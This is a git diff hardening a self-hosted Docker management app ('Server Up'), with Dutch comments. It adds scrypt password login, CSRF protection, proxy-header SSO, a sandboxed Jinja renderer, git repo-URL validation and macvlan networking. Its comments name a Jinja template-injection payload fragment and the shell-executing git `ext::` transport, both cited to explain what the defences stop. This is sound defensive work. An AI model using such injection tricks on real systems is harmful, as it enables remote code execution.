@ -34,8 +60,9 @@ def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
def query(limit=100, offset=0) -> list[dict]:
try:
with _conn() as c:
rows = c.execute("SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
with _lock:
rows = _connect().execute(
"SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
(limit, offset)).fetchall()
return [dict(r) for r in rows]
except Exception:
@ -44,15 +71,17 @@ def query(limit=100, offset=0) -> list[dict]:
def count() -> int:
try:
with _conn() as c:
return c.execute("SELECT count(*) FROM log").fetchone()[0]
with _lock:
return _connect().execute("SELECT count(*) FROM log").fetchone()[0]
except Exception:
return 0
def clear():
try:
with _conn() as c:
with _lock:
c = _connect()
with c:
c.execute("DELETE FROM log")
except Exception:
pass

295
server-up/core/auth.py Normal file
View file

@ -0,0 +1,295 @@
"""Authenticatie — lokale login (scrypt) + optionele trusted-proxy-header SSO.
Server Up beheert de Docker-daemon als root. Zonder authenticatie is elke
`/api/*`-route gelijk aan root-toegang tot de host. Deze module levert:
* lokale accounts met een scrypt-wachtwoordhash in `config.json`
* een sessiecookie (HttpOnly, SameSite=Strict)
* CSRF-tokens voor alle muterende requests
* optioneel: een identiteit uit een reverse-proxy-header (Authelia/Authentik/
Cloudflare Access), alleen vertrouwd vanaf een geconfigureerd proxy-IP
"""
from __future__ import annotations
import hashlib
import hmac
import ipaddress
import os
import secrets
import threading
import time
from pathlib import Path
from flask import request, session
import core as cfg
# scrypt-parameters. n=2**14 kost ~16 MB per hash — ruim genoeg tegen brute
# force en nog steeds enkele milliseconden op bescheiden hardware.
_N, _R, _P, _DKLEN = 2 ** 14, 8, 1, 32
# Mislukte pogingen per gebruiker: {naam: (aantal, geblokkeerd_tot)}
_FAILS: dict[str, tuple[int, float]] = {}
_FAILS_LOCK = threading.Lock()
_MAX_FAILS = 5
_LOCKOUT_SECONDS = 300
DEFAULT_AUTH = {
"mode": "local", # local | proxy | both
"users": {}, # {naam: {salt, hash}}
"proxy_header": "Remote-User",
"trusted_proxies": [], # IP's of CIDR's die de header mogen zetten
"session_hours": 12,
}
# ── Secret key ───────────────────────────────────────────────────────────────
def _secret_path() -> Path:
"""Losstaand bestand, bewust níét in config.json — dan kan het ook nooit
via `GET /api/settings` naar buiten lekken."""
env = os.environ.get("SU_SECRET")
if env:
return Path(env)
return Path(os.environ.get("SU_CONFIG", "/data/config.json")).parent / "secret.key"
def secret_key() -> bytes:
"""Lees de Flask-SECRET_KEY, of maak er eenmalig een aan (0600)."""
p = _secret_path()
try:
if p.exists():
data = p.read_bytes().strip()
if len(data) >= 32:
return data
except Exception:
pass
key = secrets.token_bytes(48)
try:
p.parent.mkdir(parents=True, exist_ok=True)
# Maak het bestand met 0600 aan vóór er iets in staat.
fd = os.open(str(p), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
with os.fdopen(fd, "wb") as f:
f.write(key)
except Exception:
# Lukt schrijven niet, dan draaien we met een sleutel in geheugen:
# sessies overleven een herstart dan niet, maar de app blijft veilig.
pass
return key
# ── Wachtwoorden ─────────────────────────────────────────────────────────────
def hash_password(password: str) -> dict:
salt = secrets.token_bytes(16)
dk = hashlib.scrypt(password.encode("utf-8"), salt=salt,
n=_N, r=_R, p=_P, dklen=_DKLEN)
return {"salt": salt.hex(), "hash": dk.hex(), "n": _N, "r": _R, "p": _P}
def verify_password(password: str, record: dict) -> bool:
if not isinstance(record, dict) or not record.get("salt") or not record.get("hash"):
return False
try:
salt = bytes.fromhex(record["salt"])
expected = bytes.fromhex(record["hash"])
dk = hashlib.scrypt(
password.encode("utf-8"), salt=salt,
n=int(record.get("n", _N)), r=int(record.get("r", _R)),
p=int(record.get("p", _P)), dklen=len(expected))
except Exception:
return False
return hmac.compare_digest(dk, expected)
def password_problem(password: str) -> str:
"""Retourneer een foutmelding, of "" als het wachtwoord voldoet."""
if len(password or "") < 10:
return "Wachtwoord moet minstens 10 tekens lang zijn."
if len(password) > 1024:
return "Wachtwoord is te lang."
return ""
# ── Config-helpers ───────────────────────────────────────────────────────────
def settings() -> dict:
a = dict(DEFAULT_AUTH)
stored = cfg.load().get("AUTH")
if isinstance(stored, dict):
a.update(stored)
if not isinstance(a.get("users"), dict):
a["users"] = {}
return a
def _save(auth_cfg: dict):
cfg.patch({"AUTH": auth_cfg})
def users() -> list[str]:
return sorted(settings()["users"].keys())
def needs_setup() -> bool:
"""True zolang er nog geen enkel account bestaat én lokale login actief is."""
a = settings()
if a.get("mode") == "proxy":
return False
return not a["users"]
def create_user(name: str, password: str) -> tuple[bool, str]:
name = (name or "").strip()
if not name or len(name) > 64:
return False, "Ongeldige gebruikersnaam."
problem = password_problem(password)
if problem:
return False, problem
a = settings()
if name in a["users"]:
return False, "Gebruiker bestaat al."
a["users"][name] = hash_password(password)
_save(a)
return True, "Account aangemaakt."
def set_password(name: str, password: str) -> tuple[bool, str]:
problem = password_problem(password)
if problem:
return False, problem
a = settings()
if name not in a["users"]:
return False, "Gebruiker niet gevonden."
a["users"][name] = hash_password(password)
_save(a)
return True, "Wachtwoord gewijzigd."
def delete_user(name: str) -> tuple[bool, str]:
a = settings()
if name not in a["users"]:
return False, "Gebruiker niet gevonden."
if len(a["users"]) == 1 and a.get("mode") != "proxy":
return False, "De laatste gebruiker kan niet verwijderd worden."
del a["users"][name]
_save(a)
return True, "Gebruiker verwijderd."
# ── Lockout ──────────────────────────────────────────────────────────────────
def _locked_for(name: str) -> int:
with _FAILS_LOCK:
count, until = _FAILS.get(name, (0, 0.0))
remaining = int(until - time.time())
return remaining if remaining > 0 else 0
def _record_failure(name: str):
with _FAILS_LOCK:
count, until = _FAILS.get(name, (0, 0.0))
count += 1
if count >= _MAX_FAILS:
_FAILS[name] = (0, time.time() + _LOCKOUT_SECONDS)
else:
_FAILS[name] = (count, until)
def _clear_failures(name: str):
with _FAILS_LOCK:
_FAILS.pop(name, None)
def check_login(name: str, password: str) -> tuple[bool, str]:
"""Controleer inloggegevens. Retourneert (ok, melding)."""
name = (name or "").strip()
wait = _locked_for(name)
if wait:
return False, f"Te veel mislukte pogingen — probeer over {wait} seconden opnieuw."
record = settings()["users"].get(name)
if not record:
# Doe alsnog het rekenwerk, zodat een bestaande gebruikersnaam niet
# verraden wordt door een sneller antwoord.
hash_password(password or "")
_record_failure(name)
return False, "Onjuiste gebruikersnaam of wachtwoord."
if not verify_password(password or "", record):
_record_failure(name)
return False, "Onjuiste gebruikersnaam of wachtwoord."
_clear_failures(name)
return True, "Ingelogd."
# ── Trusted-proxy-header ─────────────────────────────────────────────────────
def _proxy_trusted(remote_addr: str, trusted: list) -> bool:
if not remote_addr or not trusted:
return False
try:
addr = ipaddress.ip_address(remote_addr)
except ValueError:
return False
for entry in trusted:
try:
if addr in ipaddress.ip_network(str(entry), strict=False):
return True
except ValueError:
continue
return False
def proxy_user() -> str | None:
"""Gebruikersnaam uit de reverse-proxy-header, mits die proxy vertrouwd is."""
a = settings()
if a.get("mode") not in ("proxy", "both"):
return None
header = (a.get("proxy_header") or "").strip()
if not header:
return None
if not _proxy_trusted(request.remote_addr or "", a.get("trusted_proxies") or []):
return None
name = (request.headers.get(header) or "").strip()
return name[:64] or None
# ── Sessie ───────────────────────────────────────────────────────────────────
def start_session(name: str, via: str = "local"):
session.clear()
session.permanent = True
session["user"] = name
session["via"] = via
session["csrf"] = secrets.token_urlsafe(32)
def end_session():
session.clear()
def current_user() -> str | None:
"""De ingelogde gebruiker, uit de sessie of uit een vertrouwde proxy-header."""
name = session.get("user")
if name:
return name
name = proxy_user()
if name:
# Geef ook proxy-gebruikers een sessie, zodat er een CSRF-token bestaat.
start_session(name, via="proxy")
return name
return None
def csrf_token() -> str:
token = session.get("csrf")
if not token:
token = secrets.token_urlsafe(32)
session["csrf"] = token
return token
def verify_csrf(supplied: str | None) -> bool:
expected = session.get("csrf")
if not expected or not supplied:
return False
return hmac.compare_digest(str(expected), str(supplied))

View file

@ -147,10 +147,15 @@ def _jinja_env():
global _env
if _env is None:
try:
from jinja2 import Environment, ChainableUndefined
from jinja2 import ChainableUndefined
# Sandboxed: templates komen uit externe git-repo's en worden al
# gerenderd in /api/store/preview, dus vóór een installatie. Een
# gewone Environment laat `<< ''.__class__.__mro__ >>`-trucs toe
# en daarmee code-uitvoering in het app-proces.
from jinja2.sandbox import SandboxedEnvironment
except ImportError as e:
raise BoilerplateError("Jinja2 is required to render boilerplate templates") from e
_env = Environment(
_env = SandboxedEnvironment(
variable_start_string=_VAR_OPEN,
variable_end_string=_VAR_CLOSE,
block_start_string=_BLK_OPEN,

View file

@ -0,0 +1,87 @@
"""Compose-transformatie: gepubliceerde poorten → een eigen IP-adres.
Wordt toegepast op het al gerenderde compose-bestand. Daardoor werkt het voor
zowel het boilerplate-formaat als het klassieke Server Up-formaat, en hoeven de
templates in apps/ niet aangepast te worden.
Voorbeeld:
services: services:
web: web:
image: nginx image: nginx
ports: networks:
- "8080:80" lan:
ipv4_address: 192.168.1.240
networks:
lan:
external: true
"""
from __future__ import annotations
import yaml
class TransformError(Exception):
pass
def to_dedicated_ip(compose_text: str, network: str, ip: str,
only_service: str | None = None) -> str:
"""Geef het compose-bestand terug met poortmappings vervangen door een IP.
Het IP wordt toegekend aan één service: `only_service` als die is opgegeven,
anders de eerste service die poorten publiceert (en anders de eerste service
überhaupt). Overige services komen zonder vast adres in hetzelfde netwerk,
zodat ze elkaar op servicenaam kunnen blijven vinden.
"""
try:
doc = yaml.safe_load(compose_text)
except yaml.YAMLError as e:
raise TransformError(f"compose is geen geldige YAML: {e}") from e
if not isinstance(doc, dict):
raise TransformError("compose bevat geen mapping op het hoogste niveau")
services = doc.get("services")
if not isinstance(services, dict) or not services:
raise TransformError("compose bevat geen services")
doel = only_service
if doel is None:
doel = next((naam for naam, svc in services.items()
if isinstance(svc, dict) and svc.get("ports")), None)
if doel is None:
doel = next(iter(services))
if doel not in services:
raise TransformError(f"service '{doel}' bestaat niet in dit compose-bestand")
for naam, svc in services.items():
if not isinstance(svc, dict):
continue
# Poorten publiceren heeft geen zin meer — de container is direct
# bereikbaar op zijn eigen adres.
svc.pop("ports", None)
if naam == doel:
svc["networks"] = {network: {"ipv4_address": ip}}
else:
svc["networks"] = [network]
# Het netwerk wordt door Server Up beheerd, niet door deze compose-stack.
doc["networks"] = {network: {"external": True}}
return yaml.safe_dump(doc, sort_keys=False, default_flow_style=False,
allow_unicode=True, width=120)
def published_ports(compose_text: str) -> list[str]:
"""Alle host-poorten die dit compose-bestand publiceert (voor de UI)."""
try:
doc = yaml.safe_load(compose_text) or {}
except yaml.YAMLError:
return []
out = []
for svc in (doc.get("services") or {}).values():
if not isinstance(svc, dict):
continue
for p in svc.get("ports") or []:
out.append(str(p))
return out

View file

@ -137,6 +137,41 @@ def restart_container(name: str) -> tuple[bool, str]:
return r.returncode == 0, (r.stderr or r.stdout).strip()
def container_action(name: str, action: str) -> tuple[bool, str]:
"""Start, stop of herstart één container.
De aanroeper is verantwoordelijk voor het controleren dát deze container bij
een door Server Up beheerde stack hoort (zie app.api_container_action).
"""
if action not in ("start", "stop", "restart"):
return False, "onbekende actie"
r = _run([_bin(), action, name], timeout=60)
return r.returncode == 0, (r.stderr or r.stdout).strip()
def container_logs(name: str, tail=200) -> str:
r = _run([_bin(), "logs", "--tail", str(int(tail)), name], timeout=15)
return r.stdout or r.stderr
def stats(names: list[str]) -> dict[str, dict]:
"""Momentopname van CPU/geheugen per container: {naam: {cpu, mem, ...}}."""
if not names:
return {}
fmt = "{{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.MemPerc}}\t{{.NetIO}}\t{{.BlockIO}}"
r = _run([_bin(), "stats", "--no-stream", "--format", fmt] + list(names), timeout=25)
if r.returncode != 0:
return {}
out = {}
for line in r.stdout.strip().splitlines():
p = line.split("\t")
if len(p) >= 4:
out[p[0]] = {"cpu": p[1], "mem": p[2], "mem_pct": p[3],
"net": p[4] if len(p) > 4 else "",
"block": p[5] if len(p) > 5 else ""}
return out
# ── Compose helpers ───────────────────────────────────────────────────────────
def find_compose(d: Path) -> Path | None:
@ -244,6 +279,52 @@ def write_compose(d: Path, content: str):
f.write_text(content)
def validate_compose(d: Path) -> tuple[bool, str]:
"""Controleer een compose-bestand met `docker compose config -q`.
Zo blijkt een typefout meteen bij het opslaan, in plaats van pas bij de
volgende start als de stack al stuk is.
"""
f = find_compose(d)
if not f:
return False, "geen compose-bestand gevonden"
r = _run(_get_compose() + ["-f", str(f), "config", "-q"], cwd=str(d), timeout=30)
return _validation_result(r)
def _validation_result(r) -> tuple[bool, str]:
if r.returncode == 0:
return True, ""
# Is de compose-CLI zelf niet beschikbaar, dan kunnen we niets zeggen over
# het bestand. Dat mag geen reden zijn om een installatie te blokkeren.
melding = (r.stderr or r.stdout or "").strip()
if r.returncode == 127 or "niet gevonden" in melding or "not found" in melding.lower():
return True, ""
return False, melding[:800]
def validate_compose_text(content: str, d: Path) -> tuple[bool, str]:
"""Valideer compose-inhoud zonder het doelbestand te overschrijven.
Het tijdelijke bestand staat in dezelfde map, zodat relatieve paden en een
eventueel .env-bestand meegenomen worden zoals bij een echte start.
"""
tmp = d / ".serverup-validate.yml"
try:
tmp.write_text(content, encoding="utf-8")
r = _run(_get_compose() + ["-f", str(tmp), "config", "-q"],
cwd=str(d), timeout=30)
ok, msg = _validation_result(r)
return ok, msg.replace(str(tmp), "compose")
except Exception as e:
return False, str(e)
finally:
try:
tmp.unlink(missing_ok=True)
except Exception:
pass
def used_ports() -> set[int]:
r = _run([_bin(), "ps", "-a", "--format", "{{.Ports}}"], timeout=10)
ports = set()

View file

@ -41,6 +41,11 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
url = repo.get("url", "").strip()
if not url:
return False, "Geen URL"
# Vangnet: ook repo's die al in een oude config.json staan mogen geen
# `ext::`- of `file://`-transport gebruiken (ext:: voert een shell uit).
from core import valid_repo_url
if not valid_repo_url(url):
return False, f"Ongeldige of niet-toegestane repo-URL: {url[:80]}"
branch = repo.get("branch", "main")
token = repo.get("token", "").strip()
rid = repo.get("id", "repo")
@ -80,6 +85,25 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
if r.returncode != 0:
return False, safe_output[:200]
# Optioneel vastzetten op een commit. Zo bepaalt de beheerder wanneer
# er nieuwe templates/modulecode binnenkomt, in plaats van de upstream.
pin = (repo.get("commit") or "").strip()
if pin:
if not re.fullmatch(r"[0-9a-fA-F]{7,40}", pin):
return False, f"Ongeldige commit-pin: {pin[:40]}"
fetch = subprocess.run(["git", "fetch", "--depth", "1", "origin", pin],
cwd=str(dest), capture_output=True, text=True,
env=env, timeout=60)
if fetch.returncode != 0 and log_fn:
log_fn(f"fetch {pin}: {fetch.stderr.strip()[:120]}")
co = subprocess.run(["git", "checkout", "--force", pin],
cwd=str(dest), capture_output=True, text=True,
env=env, timeout=60)
if co.returncode != 0:
return False, f"Commit {pin} niet gevonden"
if log_fn:
log_fn(f"Vastgezet op commit {pin}")
return True, "OK"
except subprocess.TimeoutExpired:
return False, "Timeout"

View file

@ -6,6 +6,10 @@ _queues: dict[str, queue.Queue] = {}
_stream_locks: dict[str, threading.Lock] = {}
_lock = threading.Lock()
_TTL = 3600
# Maximaal aantal bewaarde logregels per job. Een `compose pull` van een groot
# image produceert duizenden voortgangsregels; zonder limiet groeit dat
# onbeperkt in het geheugen van het proces.
_MAX_LINES = 2000
def _cleanup():
@ -67,6 +71,13 @@ def stream(jid: str, offset=0) -> dict:
job["lines"].append(item)
except queue.Empty:
break
if len(job["lines"]) > _MAX_LINES:
# Houd de staart; die bevat het resultaat en de eventuele fout.
dropped = len(job["lines"]) - _MAX_LINES
job["lines"] = ([{"level": "dim",
"text": f"{dropped + job.get('dropped', 0)} eerdere regels weggelaten"}]
+ job["lines"][-_MAX_LINES:])
job["dropped"] = dropped + job.get("dropped", 0)
return {"lines": job["lines"][offset:], "status": job["status"]}

181
server-up/core/networks.py Normal file
View file

@ -0,0 +1,181 @@
"""Macvlan/ipvlan-netwerken — stacks een eigen IP-adres in het LAN geven.
In plaats van poorten publiceren op de host (`8222:80`) krijgt een container een
eigen adres op het fysieke netwerk. Voordelen: geen poortconflicten meer, apps
draaien op hun eigen standaardpoort, en je kunt per app firewallen op IP.
Belangrijke beperking van macvlan: de host kan zijn eigen macvlan-containers
niet bereiken zonder een extra shim-interface. Zie docs/netwerken.md.
"""
from __future__ import annotations
import ipaddress
import json
import re
from core import docker
_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,62}$")
DRIVERS = ("macvlan", "ipvlan")
class NetworkError(Exception):
pass
# ── Inspectie ────────────────────────────────────────────────────────────────
def list_docker_networks() -> list[dict]:
"""Alle macvlan/ipvlan-netwerken die de Docker-daemon kent."""
r = docker._run([docker._bin(), "network", "ls", "--format",
"{{.Name}}\t{{.Driver}}\t{{.Scope}}"], timeout=15)
if r.returncode != 0:
return []
out = []
for line in r.stdout.strip().splitlines():
p = line.split("\t")
if len(p) >= 2 and p[1] in DRIVERS:
out.append({"name": p[0], "driver": p[1],
"scope": p[2] if len(p) > 2 else ""})
return out
def inspect(name: str) -> dict:
r = docker._run([docker._bin(), "network", "inspect", name], timeout=15)
if r.returncode != 0:
return {}
try:
data = json.loads(r.stdout)
return data[0] if data else {}
except Exception:
return {}
def exists(name: str) -> bool:
return bool(inspect(name))
def used_ips(name: str) -> set[str]:
"""IP-adressen die binnen dit netwerk al aan een container zijn toegekend."""
info = inspect(name)
ips: set[str] = set()
for c in (info.get("Containers") or {}).values():
addr = (c.get("IPv4Address") or "").split("/")[0]
if addr:
ips.add(addr)
return ips
def host_interfaces() -> list[str]:
"""Netwerkinterfaces van de host, als suggestie voor `parent`.
De container draait met het netwerk van de host niet gedeeld, maar /sys is
wél zichtbaar wanneer de docker-socket gemount is; lukt het lezen niet, dan
krijgt de gebruiker gewoon een leeg lijstje en vult hij het zelf in.
"""
try:
from pathlib import Path
# /sys/class/net bevat naast interfaces ook losse bestanden zoals
# 'bonding_masters'; echte interfaces zijn symlinks naar een device.
namen = sorted(p.name for p in Path("/sys/class/net").iterdir() if p.is_dir())
return [n for n in namen
if n != "lo" and not n.startswith(("docker", "br-", "veth"))]
except Exception:
return []
# ── IP-toewijzing ────────────────────────────────────────────────────────────
def next_free_ip(net: dict, extra_used: set[str] | None = None) -> str:
"""Eerste vrije adres binnen ip_range (of subnet), gateway uitgezonderd.
Zelfde patroon als docker.next_free_port(): een voorstel, geen reservering.
"""
subnet = net.get("ip_range") or net.get("subnet") or ""
if not subnet:
return ""
try:
network = ipaddress.ip_network(subnet, strict=False)
except ValueError:
return ""
bezet = set(used_ips(net.get("name", "")) if net.get("name") else set())
bezet |= set(extra_used or set())
gateway = (net.get("gateway") or "").strip()
if gateway:
bezet.add(gateway)
for host in network.hosts():
if str(host) not in bezet:
return str(host)
return ""
def ip_in_network(ip: str, net: dict) -> bool:
subnet = net.get("subnet") or ""
if not subnet:
return False
try:
return ipaddress.ip_address(ip) in ipaddress.ip_network(subnet, strict=False)
except ValueError:
return False
# ── Aanmaken / verwijderen ───────────────────────────────────────────────────
def validate(net: dict) -> str:
"""Retourneer een foutmelding, of "" als de definitie klopt."""
if not _NAME_RE.match(net.get("name") or ""):
return "Ongeldige netwerknaam."
if net.get("driver") not in DRIVERS:
return f"Driver moet {' of '.join(DRIVERS)} zijn."
if not _NAME_RE.match(net.get("parent") or ""):
return "Geef een geldige host-interface op (bv. eth0)."
try:
subnet = ipaddress.ip_network(net.get("subnet") or "", strict=False)
except ValueError:
return "Ongeldig subnet (bv. 192.168.1.0/24)."
gateway = (net.get("gateway") or "").strip()
if gateway:
try:
if ipaddress.ip_address(gateway) not in subnet:
return "De gateway ligt buiten het subnet."
except ValueError:
return "Ongeldig gateway-adres."
rng = (net.get("ip_range") or "").strip()
if rng:
try:
if not ipaddress.ip_network(rng, strict=False).subnet_of(subnet):
return "De IP-range ligt buiten het subnet."
except ValueError:
return "Ongeldige IP-range (bv. 192.168.1.240/28)."
return ""
def create(net: dict) -> tuple[bool, str]:
"""Maak het netwerk aan bij de Docker-daemon (idempotent)."""
probleem = validate(net)
if probleem:
return False, probleem
if exists(net["name"]):
return True, "Netwerk bestaat al."
cmd = [docker._bin(), "network", "create",
"-d", net["driver"],
"--subnet", net["subnet"],
"-o", f"parent={net['parent']}"]
if net.get("gateway"):
cmd += ["--gateway", net["gateway"]]
if net.get("ip_range"):
cmd += ["--ip-range", net["ip_range"]]
cmd.append(net["name"])
r = docker._run(cmd, timeout=30)
if r.returncode != 0:
return False, (r.stderr or r.stdout).strip()[:400]
return True, "Netwerk aangemaakt."
def remove(name: str) -> tuple[bool, str]:
if not _NAME_RE.match(name or ""):
return False, "Ongeldige netwerknaam."
r = docker._run([docker._bin(), "network", "rm", name], timeout=30)
if r.returncode != 0:
return False, (r.stderr or r.stdout).strip()[:400]
return True, "Netwerk verwijderd."

View file

@ -1,3 +1,4 @@
flask>=3.0
pyyaml>=6.0
jinja2>=3.1
waitress>=3.0

View file

@ -6,9 +6,11 @@
<title>Server Up</title>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🚀</text></svg>">
<link rel="stylesheet" href="/static/fonts/mdi.min.css">
<script src="https://cdn.tailwindcss.com?plugins=forms,typography"></script>
<script defer src="https://unpkg.com/alpinejs@3.14.1/dist/cdn.min.js"></script>
<script src="https://unpkg.com/htmx.org@2.0.3/dist/htmx.min.js"></script>
<!-- Lokaal meegeleverd (zie Dockerfile): geen CDN op runtime, werkt offline
en houdt de Content-Security-Policy op 'self'. -->
<script src="/static/vendor/tailwind.js"></script>
<script defer src="/static/vendor/alpine.min.js"></script>
<script src="/static/vendor/htmx.min.js"></script>
<script>
tailwind.config = {
darkMode: 'class',
@ -44,9 +46,11 @@ tailwind.config = {
}}
}
</script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<!-- Geen Google Fonts: dat is een externe request bij elke paginalading. Inter
en JetBrains Mono worden gebruikt als ze lokaal geïnstalleerd zijn, anders
valt de stack terug op de systeemfonts uit tailwind.config. -->
<style>
body { font-family: 'Inter', sans-serif; -webkit-font-smoothing: antialiased; }
body { font-family: 'Inter', system-ui, sans-serif; -webkit-font-smoothing: antialiased; }
[x-cloak] { display: none !important; }
.mdi-spin { animation: mdis 1s linear infinite; display:inline-block; }
@keyframes mdis { to { transform: rotate(360deg); } }
@ -62,6 +66,59 @@ tailwind.config = {
</head>
<body class="bg-bg dark:bg-bg-dark text-tx dark:text-tx-dark text-[15px] h-screen overflow-hidden antialiased">
<!-- ░░ Login / eerste account ░░ -->
<!-- Ligt bovenop alles (z-[90]) tot er een geldige sessie is. De API weigert
ondertussen sowieso elk verzoek met 401, dit is de nette voorkant. -->
<div x-show="auth.ready && !auth.authenticated" x-cloak
class="fixed inset-0 bg-bg dark:bg-bg-dark z-[90] grid place-items-center p-4">
<div class="w-full max-w-[380px] anim">
<div class="flex items-center gap-3 mb-6 justify-center">
<div class="w-11 h-11 rounded-xl bg-gradient-to-br from-ac to-ac2 grid place-items-center shadow-soft text-white text-xl">🚀</div>
<div class="font-extrabold text-xl text-wh dark:text-wh-dark tracking-tight">Server<span class="text-ac dark:text-ac-dark">Up</span></div>
</div>
<div class="card card-pad">
<template x-if="auth.needsSetup">
<div>
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-1">Eerste account aanmaken</div>
<p class="text-xs text-t2 dark:text-t2-dark mb-4">
Server Up beheert Docker op deze machine. Maak nu een beheerdersaccount aan —
zolang dat niet gebeurd is, kan iedereen die deze pagina bereikt het account claimen.
</p>
<form @submit.prevent="doSetup()" class="grid gap-3">
<div><label class="form-label">Gebruikersnaam</label>
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
<div><label class="form-label">Wachtwoord (min. 10 tekens)</label>
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="new-password" required></div>
<div><label class="form-label">Wachtwoord herhalen</label>
<input type="password" class="form-input" x-model="loginForm.password2" autocomplete="new-password" required></div>
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-account-plus'"></span>Account aanmaken
</button>
</form>
</div>
</template>
<template x-if="!auth.needsSetup">
<div>
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-4">Inloggen</div>
<form @submit.prevent="doLogin()" class="grid gap-3">
<div><label class="form-label">Gebruikersnaam</label>
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
<div><label class="form-label">Wachtwoord</label>
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="current-password" required></div>
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-login'"></span>Inloggen
</button>
</form>
</div>
</template>
</div>
</div>
</div>
<!-- ░░ Sidebar ░░ -->
<aside class="fixed top-0 bottom-0 left-0 w-[264px] max-w-[86vw] bg-s1 dark:bg-s1-dark border-r border-bd dark:border-bd-dark z-40 flex flex-col transition-transform duration-200 ease-out"
:class="sidebarOpen ? 'translate-x-0' : '-translate-x-full'">
@ -105,6 +162,7 @@ tailwind.config = {
<div class="text-dm dark:text-dm-dark"><span x-text="docker.images ?? ''"></span> images</div>
</div>
<button @click="termOpen = !termOpen" :title="t('log')" class="ml-auto w-8 h-8 grid place-items-center rounded-lg hover:bg-s1 dark:hover:bg-s1-dark text-t2 dark:text-t2-dark"><span class="mdi mdi-console text-lg"></span></button>
<button @click="logout()" :title="'Uitloggen (' + auth.user + ')'" class="w-8 h-8 grid place-items-center rounded-lg hover:bg-s1 dark:hover:bg-s1-dark text-t2 dark:text-t2-dark"><span class="mdi mdi-logout text-lg"></span></button>
</div>
</div>
</aside>
@ -197,13 +255,53 @@ tailwind.config = {
<template x-if="!s.logo_url"><span class="w-8 h-8 rounded-lg bg-s2 dark:bg-s2-dark grid place-items-center text-base shrink-0" x-text="s.icon || '📦'"></span></template>
<span class="w-2.5 h-2.5 rounded-full shrink-0" :class="!s.has_compose ? 'bg-wr' : s.running ? 'bg-ok shadow-[0_0_8px_#22c55e]' : 'bg-dm dark:bg-dm-dark'"></span>
<span class="font-semibold text-wh dark:text-wh-dark text-sm flex-1 truncate" x-text="s.name"></span>
<!-- Draait deze stack op een eigen IP i.p.v. hostpoorten? -->
<span x-show="s.ip" class="badge badge-info font-mono !text-[10px]"
:title="'Eigen IP op netwerk ' + s.network" x-text="s.ip"></span>
<span class="badge" :class="s.running ? 'badge-ok' : !s.has_compose ? 'badge-warn' : 'badge-dim'" x-text="!s.has_compose ? '—' : s.running ? t('running') : t('stopped')"></span>
</div>
<div class="p-4 flex flex-col gap-3 flex-1">
<div class="flex flex-wrap gap-1.5" x-show="s.containers && s.containers.length">
<!-- Containerchips; klik klapt het beheerpaneel per container uit -->
<div class="flex flex-wrap gap-1.5 items-center cursor-pointer"
x-show="s.containers && s.containers.length"
@click="toggleContainers(s.name)">
<template x-for="c in s.containers || []" :key="c.name">
<span class="text-[11px] font-mono px-2 py-0.5 rounded-md border" :class="c.running ? 'border-ok/30 text-ok bg-ok/5' : 'border-bd dark:border-bd-dark text-t2 dark:text-t2-dark'" x-text="c.service || c.name"></span>
</template>
<span class="mdi text-t2 dark:text-t2-dark text-base ml-auto"
:class="cpanel[s.name] && cpanel[s.name].open ? 'mdi-chevron-up' : 'mdi-chevron-down'"></span>
</div>
<div x-show="cpanel[s.name] && cpanel[s.name].open" x-cloak
class="rounded-xl border border-bd dark:border-bd-dark divide-y divide-bd dark:divide-bd-dark overflow-hidden">
<template x-if="cpanel[s.name] && cpanel[s.name].loading">
<div class="px-3 py-2.5 text-xs text-t2 dark:text-t2-dark flex items-center gap-2">
<span class="mdi mdi-loading mdi-spin"></span> Laden…
</div>
</template>
<template x-for="c in (cpanel[s.name] && cpanel[s.name].items) || []" :key="c.name">
<div class="px-3 py-2.5 bg-s2/40 dark:bg-s2-dark/40">
<div class="flex items-center gap-2">
<span class="w-2 h-2 rounded-full shrink-0" :class="c.running ? 'bg-ok' : 'bg-dm dark:bg-dm-dark'"></span>
<span class="text-xs font-semibold text-wh dark:text-wh-dark truncate flex-1" x-text="c.service || c.name"></span>
<button class="btn-sm !h-7 !px-2" :title="c.running ? t('stop') : t('start')"
@click.stop="containerAction(s.name, c.name, c.running ? 'stop' : 'start')">
<span class="mdi" :class="c.running ? 'mdi-stop' : 'mdi-play'"></span>
</button>
<button class="btn-sm !h-7 !px-2" :title="t('restart')"
@click.stop="containerAction(s.name, c.name, 'restart')"><span class="mdi mdi-restart"></span></button>
<button class="btn-sm !h-7 !px-2" :title="t('logs')"
@click.stop="openContainerLogs(s.name, c.name)"><span class="mdi mdi-text-box-outline"></span></button>
</div>
<div class="flex flex-wrap gap-x-3 gap-y-0.5 mt-1 text-[10px] font-mono text-t2 dark:text-t2-dark"
x-show="c.stats && c.stats.cpu">
<span>CPU <span class="text-tx dark:text-tx-dark" x-text="c.stats.cpu"></span></span>
<span>MEM <span class="text-tx dark:text-tx-dark" x-text="c.stats.mem"></span></span>
<span x-show="c.stats.net">NET <span class="text-tx dark:text-tx-dark" x-text="c.stats.net"></span></span>
</div>
